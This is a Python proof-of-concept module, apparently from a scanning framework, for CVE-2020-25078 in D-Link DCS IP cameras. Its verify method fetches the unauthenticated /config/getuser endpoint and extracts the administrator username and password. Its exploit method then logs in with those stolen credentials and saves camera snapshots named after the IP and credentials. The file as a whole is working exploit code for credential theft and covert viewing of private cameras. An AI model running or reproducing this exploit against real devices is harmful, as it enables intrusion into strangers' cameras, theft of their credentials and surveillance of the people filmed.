import requests
from requests.auth import HTTPDigestAuth

from loguru import logger

from .base import POCTemplate


class CVE_2020_25078(POCTemplate):

    def __init__(self, config):
        super().__init__(config)
        self.name = self.get_file_name(__file__)
        self.product = config.product['dlink-dcs']
        self.product_version = """
        D-Link DCS-2530L before 1.06.01 Hotfix and DCS-2670L through 2.02 devices
        """
        self.ref = """
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25078
        https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10180
        """
        self.level = POCTemplate.level.high
        self.desc = """
        The unauthenticated /config/getuser endpoint allows for remote administrator password disclosure.
        """

    def verify(self, ip, port=80):
        headers = {'Connection': 'close', 'User-Agent': self.config.user_agent,}
        url = f"http://{ip}:{port}/config/getuser?index=0"
        try:
            r = requests.get(url, timeout=self.config.timeout, verify=False, headers=headers)
            if r.status_code == 200 and "name" in r.text and "pass" in r.text and "priv" in r.text and 'html' not in r.text:
                items = r.text.split()
                user, password = items[0].split('=')[1], items[1].split('=')[1]
                return ip, str(port), self.product, str(user), str(password), self.name
        except Exception as e:
            logger.error(e)
        return None

    def exploit(self, results):
        ip, port, product, user, password, vul = results
        img_file_name = f"{ip}-{port}-{user}-{password}.jpg"
        for url in [
                f"http://{ip}:{port}/image/jpeg.cgi",
                f"http://{ip}:{port}/dms?nowprofileid=2",
            ]:
            if self._snapshot(url, img_file_name, HTTPDigestAuth(user, password)):
                return 1
        return 0


POCTemplate.register_poc(CVE_2020_25078)